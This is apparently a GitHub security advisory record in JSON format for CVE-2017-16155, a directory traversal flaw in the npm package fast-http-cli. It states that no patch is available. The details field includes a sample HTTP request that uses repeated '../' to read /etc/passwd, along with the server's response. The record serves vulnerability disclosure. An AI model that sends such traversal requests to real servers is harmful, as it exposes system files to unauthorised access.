{"id":"GHSA-9frq-f867-hgqc","summary":"Directory Traversal in fast-http-cli","details":"`fast-http-cli` is the command line interface for `fast-http`, a simple web server.\n\n`fast-http-cli` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the url.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost: localhost\n```\n and server Response:\n```http\nHTTP/1.1 200 OK\nDate: Thu, 04 May 2017 23:59:18 GMT\nConnection: keep-alive\nTransfer-Encoding: chunked\n\n{contents of /etc/passwd}\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.","aliases":["CVE-2017-16155"],"modified":"2023-11-08T03:59:08.136997Z","published":"2018-07-23T20:46:25Z","database_specific":{"github_reviewed_at":"2020-06-16T21:28:25Z","nvd_published_at":null,"cwe_ids":["CWE-22"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-16155"},{"type":"WEB","url":"https://github.com/JacksonGL/NPM-Vuln-PoC/tree/master/directory-traversal/fast-http-cli"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9frq-f867-hgqc"},{"type":"WEB","url":"https://www.npmjs.com/advisories/383"}],"affected":[{"package":{"name":"fast-http-cli","ecosystem":"npm","purl":"pkg:npm/fast-http-cli"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.0.8"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-9frq-f867-hgqc/GHSA-9frq-f867-hgqc.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}